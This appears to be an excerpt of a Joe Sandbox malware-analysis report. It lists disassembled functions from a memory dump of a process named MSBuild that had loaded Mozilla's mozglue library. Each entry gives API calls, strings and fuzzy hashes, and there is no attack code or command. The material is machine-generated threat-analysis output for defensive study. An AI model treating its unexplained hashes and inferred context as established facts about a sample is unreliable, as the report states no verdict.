Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 5f00a60af4aa2b76a8444f2c597d147103e9d8bf383091fe948302633f22705a
Instruction ID: d4b8fbe34fd824962e344e1b48e908815c9b3459a12920229c212834087b0f8d
Opcode Fuzzy Hash: 5f00a60af4aa2b76a8444f2c597d147103e9d8bf383091fe948302633f22705a
Instruction Fuzzy Hash: 9221EA71B002459BDB009F64CC50B6EBBB9FF85318F244129E918DB351E776DD15CBA2

Function 6CBCB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CBCB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CBCB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CBCB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBCB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBCB849

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: fee92a8223ee54dcc0f12651b7ce741b7a075e1c4394bf009e1eba652797646d
Instruction ID: 0fb7535beb86b4831362865a0c5a2ea4f6ec3b0c142a61b29a131d3e30bd2278
Opcode Fuzzy Hash: fee92a8223ee54dcc0f12651b7ce741b7a075e1c4394bf009e1eba652797646d
Instruction Fuzzy Hash: 0A212CB0E002599FDF04DFA9D8855FEBBB4EF49318F14812AEC15A7341E731A949CBA1

Function 6CC26E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CC26E78

Part of subcall function 6CC26A10: InitializeCriticalSection.KERNEL32(6CC4F618), ref: 6CC26A68
Part of subcall function 6CC26A10: GetCurrentProcess.KERNEL32 ref: 6CC26A7D
Part of subcall function 6CC26A10: GetCurrentProcess.KERNEL32 ref: 6CC26AA1
Part of subcall function 6CC26A10: EnterCriticalSection.KERNEL32(6CC4F618), ref: 6CC26AAE
Part of subcall function 6CC26A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CC26AE1
Part of subcall function 6CC26A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CC26B15
Part of subcall function 6CC26A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CC26B65
Part of subcall function 6CC26A10: LeaveCriticalSection.KERNEL32(6CC4F618,?,?), ref: 6CC26B83

MozFormatCodeAddress.MOZGLUE ref: 6CC26EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CC26EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CC26EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CC26EFF

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 5b2b867bed542849526755f0afa4b2499a62bac766514e781bde590a339e72e8
Instruction ID: c93af2524e524225c19a6073d05bcae11074abd348fbcbfb503fce9da14051ba
Opcode Fuzzy Hash: 5b2b867bed542849526755f0afa4b2499a62bac766514e781bde590a339e72e8
Instruction Fuzzy Hash: BC21A171A0421A9FDF10DF69D88569E77F5FF84308F048079E80D97341EB749A598FA2

Function 6CC276C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CC276F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CC27705

Part of subcall function 6CBDCA10: malloc.MOZGLUE(?), ref: 6CBDCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CC27717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CC2778F,00000000,00000000,00000000,00000000), ref: 6CC27731
free.MOZGLUE(00000000), ref: 6CC27760

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: f5e2cfd98400dc4a56df23663229c742cfb9b8e35bee58a39714990fa7c1b85e
Instruction ID: 3c0fa2a909eb536dc9fd0a47974c0ba15d82f62d965493837f2e5e6fa2b404a3
Opcode Fuzzy Hash: f5e2cfd98400dc4a56df23663229c742cfb9b8e35bee58a39714990fa7c1b85e
Instruction Fuzzy Hash: B711B2B19012256BE710AF76DC44BAFBEF8EF45754F044529F888A7300F775985487E2

Function 6CC00D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CBC3DEF), ref: 6CC00D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CBC3DEF), ref: 6CC00D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CBC3DEF), ref: 6CC00DAF

Strings

<jemalloc>, xrefs: 6CC00D92, 6CC00DB9
: (malloc) Error in VirtualFree(), xrefs: 6CC00D97, 6CC00DBE

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 0856ca66a76c8d7bd0d7987f38ec405b179b762c9da996a9e8b6998250f9adcf
Instruction ID: ec7d5d60cb30357fe18b6998f9a779a2ddc10f90f1b2b6c50582af2eb3239bc6
Opcode Fuzzy Hash: 0856ca66a76c8d7bd0d7987f38ec405b179b762c9da996a9e8b6998250f9adcf
Instruction Fuzzy Hash: FEF08031380B5423E5142A665C16B5A276D77C2B65F36C075F644DE9C0FA61E401C675

Function 6CC25850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6CC2586C
CloseHandle.KERNEL32 ref: 6CC25878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CC25898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CC258C9
free.MOZGLUE(00000000), ref: 6CC258D3

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 1065207b79e643767145ba150fd8ffda9d5897d11ee08eed6018ac718f77d55b
Instruction ID: 193a6454a6291bc9cc8c30a1958a5948cc7a8a39b29bc2b8832394669fd0bac6
Opcode Fuzzy Hash: 1065207b79e643767145ba150fd8ffda9d5897d11ee08eed6018ac718f77d55b
Instruction Fuzzy Hash: C901FB757442019FEB00FF2A9808B177BB9EB9332DB24C176E51AD2610E77598158F91

Function 6CC17620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CC175C4,?), ref: 6CC1762B

Part of subcall function 6CBDCA10: malloc.MOZGLUE(?), ref: 6CBDCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CC174D7,6CC215FC,?,?,?), ref: 6CC17644
GetCurrentThreadId.KERNEL32 ref: 6CC1765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CC174D7,6CC215FC,?,?,?), ref: 6CC17663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CC174D7,6CC215FC,?,?,?), ref: 6CC17677

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 0101052ef45c64ef710ae0c84ef647e6f8fc5b4591a68c659b29682328e2fc3b
Instruction ID: d8034e21e3d07410208be1137c9b574d947bbdd4c41c182b56df03833f7e86bd
Opcode Fuzzy Hash: 0101052ef45c64ef710ae0c84ef647e6f8fc5b4591a68c659b29682328e2fc3b
Instruction Fuzzy Hash: 99F0AF71E10B85ABD7009F22C898A7AB778FFEA259F129356F90442601E7B0A5D08BD0

Function 6CC21700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CC21800

Part of subcall function 6CBFCBE8: GetCurrentProcess.KERNEL32(?,6CBC31A7), ref: 6CBFCBF1
Part of subcall function 6CBFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBC31A7), ref: 6CBFCBFA

Part of subcall function 6CBC4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CC03EBD,6CC03EBD,00000000), ref: 6CBC42A9

Strings

name, xrefs: 6CC21939
{marker.name} - {marker.data.name}, xrefs: 6CC218C7
Details, xrefs: 6CC21925

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: b5d771be70860220479ac75c32cdcec275cabe8bdd40290f3079260c5941b674
Instruction ID: f18e01556d4e7b94ddc990434ac1814ab9dcb62d40159c96964cbfca214041d7
Opcode Fuzzy Hash: b5d771be70860220479ac75c32cdcec275cabe8bdd40290f3079260c5941b674
Instruction Fuzzy Hash: DE71E371A0034A9FDB04DF28D4507AAFBB1FF85314F00866DD8154BB41EB71AA99CBE2

Function 6CC2B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CC2B0A6,6CC2B0A6,?,6CC2AF67,?,00000010,?,6CC2AF67,?,00000010,00000000,?,?,6CC2AB1F), ref: 6CC2B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CC2B0A6,6CC2B0A6,?,6CC2AF67,?,00000010,?,6CC2AF67,?,00000010,00000000,?), ref: 6CC2B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CC2B0A6,6CC2B0A6,?,6CC2AF67,?,00000010,?,6CC2AF67,?,00000010), ref: 6CC2B25F

Strings

map/set<T> too long, xrefs: 6CC2B1FA

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: ed193bb8e5eca90ed73580542347597ff3a38f0086617000e323f453b13aca10
Instruction ID: c8cf2f932bf5dce132784f0744c505150a6bec5aa00a79e4cf9057cfbd3707eb
Opcode Fuzzy Hash: ed193bb8e5eca90ed73580542347597ff3a38f0086617000e323f453b13aca10
Instruction Fuzzy Hash: BE618B746042458FD701CF19C890A9ABBF1FF4A318F28C599D85A8FB52E339EC45CBA1

Function 6CBED468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CBFCBE8: GetCurrentProcess.KERNEL32(?,6CBC31A7), ref: 6CBFCBF1
Part of subcall function 6CBFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBC31A7), ref: 6CBFCBFA

EnterCriticalSection.KERNEL32(6CC4E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CBFD1C5), ref: 6CBED4F2
LeaveCriticalSection.KERNEL32(6CC4E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CBFD1C5), ref: 6CBED50B

Part of subcall function 6CBCCFE0: EnterCriticalSection.KERNEL32(6CC4E784), ref: 6CBCCFF6
Part of subcall function 6CBCCFE0: LeaveCriticalSection.KERNEL32(6CC4E784), ref: 6CBCD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CBFD1C5), ref: 6CBED52E
EnterCriticalSection.KERNEL32(6CC4E7DC), ref: 6CBED690
LeaveCriticalSection.KERNEL32(6CC4E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CBFD1C5), ref: 6CBED751

Strings

MOZ_CRASH(), xrefs: 6CBED4BB

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 6ba2af62f7214af2b7ab489ea940f84ed9e1c233fbfa92e1b554771c3c2e59e4
Instruction ID: f1d7682901f8d45750cdc4b42f4fb96ae96c482d82f19156f6080f8a9bcc9a79
Opcode Fuzzy Hash: 6ba2af62f7214af2b7ab489ea940f84ed9e1c233fbfa92e1b554771c3c2e59e4
Instruction Fuzzy Hash: 5451EF71A047818FD324CF28C09071AB7F1EBC9758F15CA2ED5A9C7B85E7B0A844CB92

Function 6CC14630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CC14721

Strings

., xrefs: 6CC1476A
-%llu, xrefs: 6CC14733
profiler-paused, xrefs: 6CC146E4

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 5a21e7587ce84e7aa269aa7df30d78a01e2d82b75a97f33cf22c8076ac4d71f5
Instruction ID: e2f6c69970c0bea5cfb873b883066f342172f9226d51e2feee53f578691b5d65
Opcode Fuzzy Hash: 5a21e7587ce84e7aa269aa7df30d78a01e2d82b75a97f33cf22c8076ac4d71f5
Instruction Fuzzy Hash: 0F414571A086089BCB08DF79E85119EBBF5EB85348F10862DE859ABB81FB309845C791

Function 6CC39830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CC3985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CC3987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6CC398DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6CC398D9

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 8988e6beb441d81ff192f150c4b4ecbf877962b9aedfd62c609798b0e1c67221
Instruction ID: 078e0281e106a8f8690541d2d1a1470120f79e64f221e6aef0d943113f38cac9
Opcode Fuzzy Hash: 8988e6beb441d81ff192f150c4b4ecbf877962b9aedfd62c609798b0e1c67221
Instruction Fuzzy Hash: AC31F475B0010C5FDB14AF59D844AEF77B9DB85718F00C02DEA2A9BB40DB3199098BE1

Function 6CC146E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CC14721

Part of subcall function 6CBC4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CC03EBD,00000017,?,00000000,?,6CC03EBD,?,?,6CBC42D2), ref: 6CBC4444

Strings

., xrefs: 6CC1476A
-%llu, xrefs: 6CC14733
profiler-paused, xrefs: 6CC146E4

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 56e6de757de62a7ec7051a4a6e343152210917ca927354b5a949fa7bd4060f87
Instruction ID: 01d8cd9d184487b9798a1ed0d6daef603c8364810dd6003640ecfc6bd9aba6e2
Opcode Fuzzy Hash: 56e6de757de62a7ec7051a4a6e343152210917ca927354b5a949fa7bd4060f87
Instruction Fuzzy Hash: E2313771F042084BCB08CF6DE89169EBBE6DB89318F15853EE8059BB81FB709904CB90

Function 6CC1B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBC4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CC03EBD,6CC03EBD,00000000), ref: 6CBC42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CC1B127), ref: 6CC1B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC1B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CC1B4E4

Strings

pid:, xrefs: 6CC1B4DE

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 6c0c106463dbd1cfbb8b7e27f0c854ec9480bb2028c513fa7aa5fd8385804f08
Instruction ID: 4efec558678f827931b997c3506af7ec762f34834b2c2f688c964b10434b6728
Opcode Fuzzy Hash: 6c0c106463dbd1cfbb8b7e27f0c854ec9480bb2028c513fa7aa5fd8385804f08
Instruction Fuzzy Hash: 963112B1A05208CBDB00DFABD890AAEB7B5BF05308F54852DD811A7F41E731A849DFA1

Function 6CBCF100 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shell32,?,6CC3D020), ref: 6CBCF122
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CBCF132

Strings

shell32, xrefs: 6CBCF11D
SHGetKnownFolderPath, xrefs: 6CBCF12C

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetKnownFolderPath$shell32
API String ID: 2574300362-1045111711
Opcode ID: 78f4e127c89777e9f6a054b9d78fb459fecd9f31a3e9748109c840bdcc3667ed
Instruction ID: 060ad09ae8e3208963fbc721b76d405180ce40e8a3c14b9fd71dfcca7c19fcad
Opcode Fuzzy Hash: 78f4e127c89777e9f6a054b9d78fb459fecd9f31a3e9748109c840bdcc3667ed
Instruction Fuzzy Hash: E3015E71B012559FCF00DF6ADC58A5F7BF8EF8A658B508419E949E7700E730A904CBA1

Function 6CC0E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC0E577
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0E584
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CC0E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CC0E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CC0E777
MOZ_PROFILER_STARTUP, xrefs: 6CC0E5A1, 6CC0E5CC, 6CC0E5FF, 6CC0E62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CC0E826, 6CC0E850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CC0E722, 6CC0E750, 6CC0E7A2

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 527f490175e0bf63b1e48833e3d77457e7cf8c2e380e59fa20e3f8821327dd37
